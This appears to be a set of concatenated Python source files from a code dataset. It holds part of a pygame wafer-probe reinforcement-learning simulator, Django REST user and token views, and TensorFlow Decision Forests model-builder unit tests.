and (x+pace-1) < x_diff: y-=pace x+=pace invalid = 0 self.action = 'Up-Right' else: invalid = 1 elif act == 6: if (y-pace+1) > 0 and (x-pace+1) > 0: y-=pace x-=pace invalid = 0 self.action = 'Up-Left' else: invalid = 1 elif act == 7: if (y+pace-1) < y_diff and (x-pace+1) > 0: y+=pace x-=pace invalid = 0 self.action = 'Down-Left' else: invalid = 1 else: invalid = -1 self.action = 'None' # 無效動作 if invalid == 1: self.action = 'Invalid' # 有效動作 elif invalid == 0: # 更新探針座標位置 self.y = y self.x = x # 探針位置的晶圓測試狀態累加一次 for c in range(len(probe_list)): self.envs[y+probe_list[c][0]][x+probe_list[c][1]] += 1 elif now >= self.time_end: self.time_is_end = 1 if self.steps >= self.training_steps: self.steps_is_end = 1 self.check() # 統計晶粒狀態並計算獎勵 self.observation() self.action_available() if self.mode == 1: self.build_envs() time.sleep(0.01) self.y_last = self.y self.x_last = self.x if self.steps_is_end == 1: self.steps = 0 if self.time_is_end == 1: self.steps = 0 self.time_end = time.time() + self.training_time return self.output, self.reward_value, self.done, self.available, self.envs_mean, self.envs_std def check(self): # 表示各個晶粒狀態的個數num_color[5] = [未測試過, 已測試1次, 已測試2次, 已測試3次以上, 緩衝區] self.num_color[-1] = self.envs_len # 緩衝區數 for n in range(0, self.num_max): self.num_color[n] = (self.envs == n).sum() self.num_color[-2] = self.wafer_len - sum(self.num_color) + self.num_color[-2] # 已測試num_max次以上 self.dist = np.sqrt(np.square(self.y - self.y_last)+np.square(self.x - self.x_last)) # 計算探針移動距離 #calculate the reward if self.action != "None": #1st reward if self.num_color_last[0] - self.num_color[0] > 0: self.reward_value+=((self.num_color_last[0] - self.num_color[0])*0.01) if self.num_color_last[0] - self.num_color[0] == self.probe_len: self.reward_value+=((self.num_color_last[0] - self.num_color[0])*0.01) #2nd reward for num in range(2,self.num_max+1): if self.num_color[num] - self.num_color_last[num] > 0: self.reward_value-=(((self.num_color[num] - self.num_color_last[num])*num)*0.003) #3rd reward if np.array_equal(self.num_color,self.num_color_last): self.reward_value-=0.1 #4th reward self.reward_value-=self.dist*0.01 # 若測試終止 if self.num_color[0] == 0 or self.time_is_end == 1 or self.steps_is_end == 1: self.envs_mean = np.nanmean(self.envs) # 計算平均 self.envs_std = np.nanstd(self.envs) # 計算標準差 #Stop the screen when the episode is end. if self.mode == 1: self.build_envs() # 初始化模擬畫面 time.sleep(0.1) #Initialize the environment self.action = 'None' self.done = 1 # 代表測試終止 self.y, self.x = self.location[np.random.randint(len(self.location))] self.y_last, self.x_last = self.y, self.x self.dist = 0 self.num_color = np.zeros(self.num_max+2,np.int) self.envs = np.copy(self._envs_nan) self.output = np.copy(self._output) if self.mode == 1: self.reset_envs() # 將初始探針位置的晶圓狀態改為測試一次 for b in range(self.probY): for a in range(self.probX): if self._probe[b][a] == 1 and not np.isnan(self.envs[self.y + b][self.x + a]): self.envs[self.y + b][self.x + a] = 1 self.envs_show = np.copy(self.envs) self.num_color[-1] = self.envs_len self.num_color[0] = (self.envs == 0).sum() self.num_color[1] = (self.envs == 1).sum() if self.time_is_end != 1 and self.steps_is_end != 1: # 代表成功完成所有晶粒測試 self.episode_is_end = 1 self.steps = 0 #5th reward self.reward_value += 1 self.num_color_last = np.copy(self.num_color) def observation(self): # 更新輸出圖 probe_list = self.probe_list probe_len = self.probe_len # 畫探針走過位置的晶粒狀態 for c in range(probe_len): for num in range(1, self.num_max+1): if self.envs[self.y_last+probe_list[c][0]][self.x_last+probe_list[c][1]] == num: # 測試過1~3次 color = NUM_COLORS[num-1] if self.envs[self.y_last+probe_list[c][0]][self.x_last+probe_list[c][1]] > self.num_max: # 測試過3次以上 color = NUM_COLORS[self.num_max-1] if np.isnan(self.envs[self.y_last+probe_list[c][0]][self.x_last+probe_list[c][1]]): # 緩衝區 color = BUFFER_COLORS wafer_check.draw_plt(self.output, self.y_last + self.probe_list[c][0], self.x_last + self.probe_list[c][1], color) # 畫探針當下位置 for c in range(probe_len): color = PROBE_COLORS wafer_check.draw_plt(self.output, self.y + self.probe_list[c][0], self.x + self.probe_list[c][1], color) def build_envs(self): # 更新模擬器顯示畫面 # 畫探針走過位置的晶粒狀態 for c in range(self.probe_len): if self.envs[self.y_last + self.probe_list[c][0]][self.x_last + self.probe_list[c][1]] >= 1: # 走過一次以上 color = (WHITE / self.num_max).astype(np.int) elif np.isnan(self.envs[self.y_last+self.probe_list[c][0]][self.x_last+self.probe_list[c][1]]): # 緩衝區 color = YELLOW pygame.draw.rect(self.sc, color, wafer_check.rect((self.x_last + self.probe_list[c][1]), (self.y_last + self.probe_list[c][0]))) # 畫探針當下位置 for c in range(self.probe_len): color = RED_PROBE if self.action == 'Invalid': # 若為無效動作,呈現紫色 color = PURPLE pygame.draw.rect(self.sc, color, wafer_check.rect((self.x + self.probe_list[c][1]), (self.y + self.probe_list[c][0]))) pygame.display.flip() def reset_observation(self): # 初始化輸出圖,繪製晶圓狀態 color = BUFFER_COLORS for row in range(self.envsY): for column in range(self.envsX): if self._envs[row][column] == -1: wafer_check.draw_plt(self._output, column, row, color) self._envs_nan[row][column] = np.nan def reset_envs(self): # 初始化模擬器顯示畫面,繪製晶圓狀態 self.sc.fill(BLACK) for row in range(self.envsY): for column in range(self.envsX): if self._envs[row][column] == -1: pygame.draw.rect(self.sc, YELLOW, wafer_check.rect(row, column)) # 緩衝區 else: pygame.draw.rect(self.sc, BLUE, wafer_check.rect(row, column)) # 未測試區 def action_available(self): # evaluate actions that will go beyond the boundary & produce vector to filter m = self.envsY n = self.envsX i = self.probY j = self.probX for k in range(self.action_space_num): act = k % 8 step = k // 8 + 1 y = self.y x = self.x if act == 0: if (y+step-1) < (m-i): y+=step else: self.available[k] = np.inf continue elif act == 1: if (x+step-1) < (n-j): x+=step else: self.available[k] = np.inf continue elif act == 2: if (y-step+1) > 0: y-=step else: self.available[k] = np.inf continue elif act == 3: if (x-step+1) > 0: x-=step else: self.available[k] = np.inf continue elif act == 4: if (y+step-1) < (m-i) and (x+step-1) < (n-j): y+=step x+=step else: self.available[k] = np.inf continue elif act == 5: if (y-step+1) > 0 and (x+step-1) < (n-j): y-=step x+=step else: self.available[k] = np.inf continue elif act == 6: if (y-step+1) > 0 and (x-step+1) > 0: y-=step x-=step else: self.available[k] = np.inf continue elif act == 7: if (y+step-1) < (m-i) and (x-step+1) > 0: y+=step x-=step else: self.available[k] = np.inf continue self.available[k] = 0 if __name__ == '__main__': import matplotlib.pyplot as plt wafer = np.loadtxt('envs.txt') probe = np.loadtxt('probe.txt') envs = wafer_check(wafer, probe, mode=1, training_time=0, training_steps=1000) pygame.init() pygame.display.set_caption("Wafer Check Simulator") # Loop until the user clicks the close button. done = False while not done: for event in pygame.event.get(): # User did something if event.type == pygame.QUIT: # If user clicked close done = True elif event.type == pygame.KEYDOWN: if event.key == pygame.K_r: # 初始化環境 envs.reset() if event.key == pygame.K_s: envs.step(0) if event.key == pygame.K_d: envs.step(1) if event.key == pygame.K_w: envs.step(2) if event.key == pygame.K_a: envs.step(3) if event.key == pygame.K_c: envs.step(4) if event.key == pygame.K_e: envs.step(5) if event.key == pygame.K_q: envs.step(6) if event.key == pygame.K_z: envs.step(7) if event.key == pygame.K_p: # 顯示輸出圖 plt.subplot(1, 2, 1), plt.title('rainbow') plt.imshow(envs.output,cmap = 'rainbow') plt.subplot(1, 2, 2), plt.title('gray') plt.imshow(envs.output,cmap = 'gray') plt.show() pygame.quit()
py
1a4ce62e9cc298e6a076d2e15d92f46fb4bc339c
from rest_framework import generics, authentication, permissions from rest_framework.authtoken.views import ObtainAuthToken from rest_framework.settings import api_settings from user.serializers import UserSerializer, AuthTokenSerializer class CreateUserView(generics.CreateAPIView): """ Create a new user in the system """ serializer_class = UserSerializer class CreateTokenView(ObtainAuthToken): """ Create a new auth token for user """ serializer_class = AuthTokenSerializer renderer_classes = api_settings.DEFAULT_RENDERER_CLASSES class ManageUserView(generics.RetrieveUpdateAPIView): """ Manage the authenticated user """ serializer_class = UserSerializer authentication_classes = (authentication.TokenAuthentication,) permission_classes = (permissions.IsAuthenticated,) def get_object(self): """ Retrieve and return authenticated user """ return self.request.user
py
1a4ce6c252949388572691becc3ad2e9833f1af3
# Copyright 2021 Google LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import from __future__ import division from __future__ import print_function import math import os from absl import flags from absl import logging from absl.testing import parameterized import numpy as np import pandas as pd import tensorflow as tf from tensorflow_decision_forests import keras from tensorflow_decision_forests.component import py_tree from tensorflow_decision_forests.component.builder import builder as builder_lib from tensorflow_decision_forests.component.inspector import inspector as inspector_lib Tree = py_tree.tree.Tree NonLeafNode = py_tree.node.NonLeafNode NumericalHigherThanCondition = py_tree.condition.NumericalHigherThanCondition CategoricalIsInCondition = py_tree.condition.CategoricalIsInCondition SimpleColumnSpec = py_tree.dataspec.SimpleColumnSpec LeafNode = py_tree.node.LeafNode ProbabilityValue = py_tree.value.ProbabilityValue RegressionValue = py_tree.value.RegressionValue # pylint: disable=g-long-lambda def data_root_path() -> str: return "" def test_data_path() -> str: return os.path.join(data_root_path(), "external/ydf/yggdrasil_decision_forests/test_data") def tmp_path() -> str: return flags.FLAGS.test_tmpdir def test_model_directory() -> str: return os.path.join(test_data_path(), "model") def test_dataset_directory() -> str: return os.path.join(test_data_path(), "dataset") class BuilderTest(parameterized.TestCase, tf.test.TestCase): def test_classification_random_forest(self): model_path = os.path.join(tmp_path(), "classification_rf") logging.info("Create model in %s", model_path) builder = builder_lib.RandomForestBuilder( path=model_path, model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, objective=py_tree.objective.ClassificationObjective( label="color", classes=["red", "blue", "green"])) # f1>=1.5 # │ # ├─(pos)─ f2 in ["cat","dog"] # │ │ # │ ├─(pos)─ value: [0.8, 0.1, 0.1] # │ └─(neg)─ value: [0.1, 0.8, 0.1] # └─(neg)─ value: [0.1, 0.1, 0.8] builder.add_tree( Tree( NonLeafNode( condition=NumericalHigherThanCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL), threshold=1.5, missing_evaluation=False), pos_child=NonLeafNode( condition=CategoricalIsInCondition( feature=SimpleColumnSpec( name="f2", type=py_tree.dataspec.ColumnType.CATEGORICAL), mask=["cat", "dog"], missing_evaluation=False), pos_child=LeafNode( value=ProbabilityValue( probability=[0.8, 0.1, 0.1], num_examples=10)), neg_child=LeafNode( value=ProbabilityValue( probability=[0.1, 0.8, 0.1], num_examples=20))), neg_child=LeafNode( value=ProbabilityValue( probability=[0.1, 0.1, 0.8], num_examples=30))))) builder.close() logging.info("Loading model") loaded_model = tf.keras.models.load_model(model_path) logging.info("Make predictions") tf_dataset = tf.data.Dataset.from_tensor_slices({ "f1": [1.0, 2.0, 3.0], "f2": ["cat", "cat", "bird"] }).batch(2) predictions = loaded_model.predict(tf_dataset) self.assertAllClose(predictions, [[0.1, 0.1, 0.8], [0.8, 0.1, 0.1], [0.1, 0.8, 0.1]]) def test_classification_cart(self): model_path = os.path.join(tmp_path(), "classification_cart") logging.info("Create model in %s", model_path) builder = builder_lib.CARTBuilder( path=model_path, model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, objective=py_tree.objective.ClassificationObjective( label="color", classes=["red", "blue", "green"])) # f1>=1.5 # ├─(pos)─ f2 in ["cat","dog"] # │ ├─(pos)─ value: [0.8, 0.1, 0.1] # │ └─(neg)─ value: [0.1, 0.8, 0.1] # └─(neg)─ value: [0.1, 0.1, 0.8] builder.add_tree( Tree( NonLeafNode( condition=NumericalHigherThanCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL), threshold=1.5, missing_evaluation=False), pos_child=NonLeafNode( condition=CategoricalIsInCondition( feature=SimpleColumnSpec( name="f2", type=py_tree.dataspec.ColumnType.CATEGORICAL), mask=["cat", "dog"], missing_evaluation=False), pos_child=LeafNode( value=ProbabilityValue( probability=[0.8, 0.1, 0.1], num_examples=10)), neg_child=LeafNode( value=ProbabilityValue( probability=[0.1, 0.8, 0.1], num_examples=20))), neg_child=LeafNode( value=ProbabilityValue( probability=[0.1, 0.1, 0.8], num_examples=30))))) builder.close() logging.info("Loading model") loaded_model = tf.keras.models.load_model(model_path) logging.info("Make predictions") tf_dataset = tf.data.Dataset.from_tensor_slices({ "f1": [1.0, 2.0, 3.0], "f2": ["cat", "cat", "bird"] }).batch(2) predictions = loaded_model.predict(tf_dataset) self.assertAllClose(predictions, [[0.1, 0.1, 0.8], [0.8, 0.1, 0.1], [0.1, 0.8, 0.1]]) def test_regression_random_forest(self): model_path = os.path.join(tmp_path(), "regression_rf") logging.info("Create model in %s", model_path) builder = builder_lib.RandomForestBuilder( path=model_path, model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, objective=py_tree.objective.RegressionObjective(label="age")) # f1>=1.5 # ├─(pos)─ age: 1 # └─(neg)─ age: 2 builder.add_tree( Tree( NonLeafNode( condition=NumericalHigherThanCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL), threshold=1.5, missing_evaluation=False), pos_child=LeafNode( value=RegressionValue(value=1, num_examples=30)), neg_child=LeafNode( value=RegressionValue(value=2, num_examples=30))))) builder.close() logging.info("Loading model") loaded_model = tf.keras.models.load_model(model_path) logging.info("Make predictions") tf_dataset = tf.data.Dataset.from_tensor_slices({ "f1": [1.0, 2.0], }).batch(2) predictions = loaded_model.predict(tf_dataset) self.assertAllClose(predictions, [[2.0], [1.0]]) def test_binary_classification_gbt(self): model_path = os.path.join(tmp_path(), "binary_classification_gbt") logging.info("Create model in %s", model_path) builder = builder_lib.GradientBoostedTreeBuilder( path=model_path, model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, bias=1.0, objective=py_tree.objective.ClassificationObjective( label="color", classes=["red", "blue"])) # bias: 1.0 (toward "blue") # f1>=1.5 # ├─(pos)─ +1.0 (toward "blue") # └─(neg)─ -1.0 (toward "blue") builder.add_tree( Tree( NonLeafNode( condition=NumericalHigherThanCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL), threshold=1.5, missing_evaluation=False), pos_child=LeafNode( value=RegressionValue(value=+1, num_examples=30)), neg_child=LeafNode( value=RegressionValue(value=-1, num_examples=30))))) builder.close() logging.info("Loading model") loaded_model = tf.keras.models.load_model(model_path) logging.info("Make predictions") tf_dataset = tf.data.Dataset.from_tensor_slices({ "f1": [1.0, 2.0], }).batch(2) predictions = loaded_model.predict(tf_dataset) self.assertAllClose( predictions, [[1.0 / (1.0 + math.exp(0.0))], [1.0 / (1.0 + math.exp(-2.0))]]) def test_multi_class_classification_gbt(self): model_path = os.path.join(tmp_path(), "multi_class_classification_gbt") logging.info("Create model in %s", model_path) builder = builder_lib.GradientBoostedTreeBuilder( path=model_path, model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, objective=py_tree.objective.ClassificationObjective( label="color", classes=["red", "blue", "green"])) # f1>=1.5 # ├─(pos)─ +1.0 (toward "red") # └─(neg)─ -1.0 (toward "red") # f1>=2.5 # ├─(pos)─ +1.0 (toward "blue") # └─(neg)─ -1.0 (toward "blue") # f1>=3.5 # ├─(pos)─ +1.0 (toward "green") # └─(neg)─ -1.0 (toward "green") for threshold in [1.5, 2.5, 3.5]: builder.add_tree( Tree( NonLeafNode( condition=NumericalHigherThanCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL), threshold=threshold, missing_evaluation=False), pos_child=LeafNode( value=RegressionValue(value=+1, num_examples=30)), neg_child=LeafNode( value=RegressionValue(value=-1, num_examples=30))))) builder.close() logging.info("Loading model") loaded_model = tf.keras.models.load_model(model_path) logging.info("Make predictions") tf_dataset = tf.data.Dataset.from_tensor_slices({ "f1": [1.0, 2.0], }).batch(2) predictions = loaded_model.predict(tf_dataset) soft_max_sum = np.sum(np.exp([+1, -1, -1])) self.assertAllClose(predictions, [[1.0 / 3.0, 1.0 / 3.0, 1.0 / 3.0], [ math.exp(+1) / soft_max_sum, math.exp(-1) / soft_max_sum, math.exp(-1) / soft_max_sum ]]) def test_regression_gbt(self): model_path = os.path.join(tmp_path(), "regression_gbt") logging.info("Create model in %s", model_path) builder = builder_lib.GradientBoostedTreeBuilder( path=model_path, bias=1.0, model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, objective=py_tree.objective.RegressionObjective(label="age")) # bias: 1.0 # f1>=1.5 # ├─(pos)─ +1 # └─(neg)─ -1 builder.add_tree( Tree( NonLeafNode( condition=NumericalHigherThanCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL), threshold=1.5, missing_evaluation=False), pos_child=LeafNode( value=RegressionValue(value=+1, num_examples=30)), neg_child=LeafNode( value=RegressionValue(value=-1, num_examples=30))))) builder.close() logging.info("Loading model") loaded_model = tf.keras.models.load_model(model_path) logging.info("Make predictions") tf_dataset = tf.data.Dataset.from_tensor_slices({ "f1": [1.0, 2.0], }).batch(2) predictions = loaded_model.predict(tf_dataset) self.assertAllClose(predictions, [[0.0], [2.0]]) def test_ranking_gbt(self): model_path = os.path.join(tmp_path(), "ranking_gbt") logging.info("Create model in %s", model_path) builder = builder_lib.GradientBoostedTreeBuilder( path=model_path, bias=1.0, model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, objective=py_tree.objective.RankingObjective( label="document", group="query")) # bias: 1.0 # f1>=1.5 # ├─(pos)─ +1 # └─(neg)─ -1 builder.add_tree( Tree( NonLeafNode( condition=NumericalHigherThanCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL), threshold=1.5, missing_evaluation=False), pos_child=LeafNode( value=RegressionValue(value=+1, num_examples=30)), neg_child=LeafNode( value=RegressionValue(value=-1, num_examples=30))))) builder.close() logging.info("Loading model") loaded_model = tf.keras.models.load_model(model_path) logging.info("Make predictions") tf_dataset = tf.data.Dataset.from_tensor_slices({ "f1": [1.0, 2.0], }).batch(2) predictions = loaded_model.predict(tf_dataset) self.assertAllClose(predictions, [[0.0], [2.0]]) def test_error_empty_path(self): self.assertRaises( ValueError, lambda: builder_lib.RandomForestBuilder( path="", model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL, objective=py_tree.objective.RegressionObjective("label"))) def test_error_multi_tree_cart(self): builder = builder_lib.CARTBuilder( path=os.path.join(tmp_path(), "model"), objective=py_tree.objective.RegressionObjective("label")) builder.add_tree(Tree(LeafNode(RegressionValue(1, 30)))) self.assertRaises( ValueError, lambda: builder.add_tree(Tree(LeafNode(RegressionValue(1, 30))))) def test_error_reg_cart_with_class_tree(self): builder = builder_lib.CARTBuilder( path=os.path.join(tmp_path(), "model"), objective=py_tree.objective.RegressionObjective("label")) self.assertRaises( ValueError, lambda: builder.add_tree( Tree( LeafNode( ProbabilityValue( probability=[0.8, 0.1, 0.1], num_examples=10))))) def test_error_class_cart_with_reg_tree(self): builder = builder_lib.CARTBuilder( path=os.path.join(tmp_path(), "model"), objective=py_tree.objective.ClassificationObjective( "label", classes=["red", "blue"])) self.assertRaises( ValueError, lambda: builder.add_tree(Tree(LeafNode(RegressionValue(1, 10))))) def test_error_wrong_class_leaf_dim(self): builder = builder_lib.CARTBuilder( path=os.path.join(tmp_path(), "model"), objective=py_tree.objective.ClassificationObjective( "label", classes=["red", "blue"])) self.assertRaises( ValueError, lambda: builder.add_tree( Tree( LeafNode( ProbabilityValue( probability=[0.8, 0.1, 0.1], num_examples=10))))) def test_error_gbt_with_class_tree(self): builder = builder_lib.GradientBoostedTreeBuilder( path=os.path.join(tmp_path(), "model"), objective=py_tree.objective.ClassificationObjective( "label", classes=["red", "blue", "green"])) self.assertRaises( ValueError, lambda: builder.add_tree( Tree( LeafNode( ProbabilityValue( probability=[0.8, 0.1, 0.1], num_examples=10))))) def test_error_gbt_wrong_number_of_trees(self): builder = builder_lib.GradientBoostedTreeBuilder( path=os.path.join(tmp_path(), "model"), objective=py_tree.objective.ClassificationObjective( "label", classes=["red", "blue", "green"])) builder.add_tree(Tree(LeafNode(RegressionValue(1, num_examples=10)))) self.assertRaises(ValueError, builder.close) def test_get_set_dictionary(self): builder = builder_lib.RandomForestBuilder( path=os.path.join(tmp_path(), "model"), objective=py_tree.objective.ClassificationObjective( "label", classes=["true", "false"])) builder.add_tree( Tree( NonLeafNode( condition=CategoricalIsInCondition( feature=SimpleColumnSpec( name="f1", type=py_tree.dataspec.ColumnType.CATEGORICAL), mask=["x", "y"], missing_evaluation=False), pos_child=LeafNode( value=ProbabilityValue( probability=[0.8, 0.2], num_examples=10)), neg_child=LeafNode( value=ProbabilityValue( probability=[0.2, 0.8], num_examples=20))))) self.assertEqual(builder.get_dictionary("f1"), ["<OOD>", "x", "y"]) builder.set_dictionary("f1", ["<OOD>", "x", "y", "z"]) self.assertEqual(builder.get_dictionary("f1"), ["<OOD>", "x", "y", "z"]) builder.close() def test_extract_random_forest(self): """Extract 5 trees from a trained RF model, and pack them into a model.""" # Load a dataset dataset_path = os.path.join(test_dataset_directory(), "adult_test.csv") dataframe = pd.read_csv(dataset_path) # This "adult_binary_class_rf" model expect for "education_num" to be a # string. dataframe["education_num"] = dataframe["education_num"].astype(str) dataset = keras.pd_dataframe_to_tf_dataset(dataframe, "income") # Load an inspector to an existing model. src_model_path = os.path.join(test_model_directory(), "adult_binary_class_rf") inspector = inspector_lib.make_inspector(src_model_path) # Extract a piece of this model dst_model_path = os.path.join(tmp_path(), "model") builder = builder_lib.RandomForestBuilder( path=dst_model_path, objective=inspector.objective(), # Make sure the features and feature dictionaries are the same as in the # original model. import_dataspec=inspector.dataspec) # Extract the first 5 trees for i in range(5): tree = inspector.extract_tree(i) builder.add_tree(tree) builder.close() truncated_model = tf.keras.models.load_model(dst_model_path) # By default, the model builder export numerical features as float32. In # this dataset, some numerical features are stored as int64. Therefore, # we need to apply a cast. # # TODO(gbm): Allow the user to specify the signature in a model builder. numerical_features = [] for feature in inspector.features(): if feature.type == keras.FeatureSemantic.NUMERICAL.value: numerical_features.append(feature) # Cast all the numerical features to floats. def cast_numerical_to_float32(features, labels): for numerical_feature in numerical_features: features[numerical_feature.name] = tf.cast( features[numerical_feature.name], tf.float32) return features, labels predictions = truncated_model.predict( dataset.map(cast_numerical_to_float32)) self.assertEqual(predictions.shape, (9769, 1)) if __name__ == "__main__": tf.test.main()